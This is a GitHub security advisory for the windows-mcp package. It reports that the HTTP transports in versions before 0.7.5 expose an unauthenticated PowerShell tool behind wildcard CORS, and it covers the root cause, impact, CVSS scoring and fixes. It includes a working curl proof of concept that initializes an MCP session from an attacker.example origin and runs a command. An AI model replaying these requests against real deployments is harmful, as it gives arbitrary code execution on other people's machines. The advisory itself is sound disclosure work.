Skip to content

Windows-MCP: HTTP transports expose unauthenticated PowerShell control with wildcard CORS

High severity GitHub Reviewed Published May 14, 2026 in CursorTouch/Windows-MCP • Updated Jul 9, 2026

Package

pip windows-mcp (pip)

Affected versions

< 0.7.5

Patched versions

0.7.5

Description

HTTP transports expose unauthenticated PowerShell control with wildcard CORS

There is an issue in the SSE and Streamable HTTP transport modes. The default stdio mode is not affected, but the documented HTTP modes expose the MCP control plane without authentication and add wildcard CORS handling around it. The same server exposes the PowerShell tool, which executes caller-controlled commands as the Windows user running Windows-MCP.

Relevant source:

  • src/windows_mcp/__main__.py:37-42: _http_middleware() installs OptionsMiddleware and CORSMiddleware with allow_origins=["*"], allow_methods=["*"], and allow_headers=["*"].
  • src/windows_mcp/__main__.py:45-72: OptionsMiddleware responds to every OPTIONS request with wildcard Access-Control-Allow-Origin, Access-Control-Allow-Methods, and Access-Control-Allow-Headers.
  • src/windows_mcp/__main__.py:75-113: _build_mcp() constructs FastMCP(name="windows-mcp", ...) without an auth provider.
  • src/windows_mcp/__main__.py:139-151: both sse and streamable-http call mcp.run(...) with that middleware and no application-level auth/security settings.
  • src/windows_mcp/tools/shell.py:10-24: registers the PowerShell tool and passes caller-controlled command to PowerShellExecutor.execute_command.
  • src/windows_mcp/desktop/powershell.py:176-204: executes that command through PowerShell -EncodedCommand.
  • README.md:421-424 and 433-434: documents the HTTP transports and describes Streamable HTTP as network-accessible HTTP streaming.

In an affected configuration, a client that can reach http://localhost:8000/mcp can initialize an MCP session and invoke tools/call for PowerShell. The issue is not just that PowerShell is powerful; it is that the HTTP control plane around that tool is unauthenticated and configured with wildcard CORS.

Root cause

The HTTP transport entry points compose two independent design decisions that fail-open together: the FastMCP instance is built without any authentication provider, and the middleware stack installs blanket wildcard CORS (allow_origins=*, allow_methods=*, allow_headers=*) that explicitly permits cross-origin browsers and any non-browser HTTP client to reach the MCP control plane. Either one alone would be a partial defense; together, the unauthenticated control plane is reachable from arbitrary origins, with no host-validation, no token check, and no DNS-rebinding mitigation between an attacker's request and the registered PowerShell tool. The structural fix is to require an auth provider (token, mTLS, or local-only secret handshake) on the HTTP transports and to scope CORS to a specific operator-configured allowlist rather than applying wildcard policy to a tool surface that includes shell execution.

Auth boundary violated

Boundary: Network trust domain (an unauthenticated remote/cross-origin caller is treated as if it were a trusted local MCP client with rights to invoke privileged shell tools).

Respected at: stdio transport path (src/windows_mcp/__main__.py stdio branch) — the default transport relies on parent-process pipe ownership for caller identity, which is a real OS-level boundary.

Violated at: src/windows_mcp/__main__.py:139-151 (SSE and Streamable HTTP branches call mcp.run(...) with the wildcard-CORS middleware installed at :37-42 and no auth provider attached at :75-113). The boundary is silently dropped: there is no code path between the inbound HTTP request and tools/call for PowerShell (src/windows_mcp/tools/shell.py:10-24src/windows_mcp/desktop/powershell.py:176-204) that asserts caller identity or origin.

Minimal protocol proof from a matching FastMCP 3.2.4 harness with the same middleware posture:

$ curl -i -s -X OPTIONS 'http://127.0.0.1:18123/mcp/' \
  -H 'Origin: https://attacker.example' \
  -H 'Access-Control-Request-Method: POST' \
  -H 'Access-Control-Request-Headers: content-type,mcp-session-id'

HTTP/1.1 200 OK
access-control-allow-origin: *
access-control-allow-methods: *
access-control-allow-headers: *

$ curl -i -s 'http://127.0.0.1:18123/mcp' \
  -H 'Origin: https://attacker.example' \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"evil-page","version":"1"}}}'

HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: c67be0098b7643eb961b2fd0185ee043
access-control-allow-origin: *

$ curl -i -s 'http://127.0.0.1:18123/mcp' \
  -H 'Origin: https://attacker.example' \
  -H 'Mcp-Session-Id: c67be0098b7643eb961b2fd0185ee043' \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"PowerShell","arguments":{"command":"calc.exe","timeout":30}}}'

HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: c67be0098b7643eb961b2fd0185ee043
access-control-allow-origin: *

event: message
data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"executed: calc.exe"}],"structuredContent":{"result":"executed: calc.exe"},"isError":false}}

Impact

For affected HTTP-transport deployments, successful exploitation gives arbitrary PowerShell execution as the user running Windows-MCP. There is an important browser caveat: current Chrome/Edge Local Network Access / Private Network Access behavior may block or prompt for public-site-to-localhost requests because this middleware does not return Access-Control-Allow-Private-Network: true. The exposure still applies to same-origin/private-origin contexts, browsers or apps without that enforcement, user-approved local-network prompts, browser extensions, and non-browser HTTP clients.

Suggested fix: require authentication for HTTP transports, remove wildcard CORS from MCP control endpoints, restrict origins to explicit trusted clients, and enable/propagate transport security settings such as host validation. If unauthenticated HTTP is retained for development, I would make it an explicit unsafe flag and add regression tests for cross-origin OPTIONS, initialize, and tools/call.

References

@Jeomon Jeomon published to CursorTouch/Windows-MCP May 14, 2026
Published to the GitHub Advisory Database May 21, 2026
Reviewed May 21, 2026
Published by the National Vulnerability Database Jun 17, 2026
Last updated Jul 9, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(32nd percentile)

Weaknesses

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

CVE ID

CVE-2026-48989

GHSA ID

GHSA-vrxg-gm77-7q5g
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.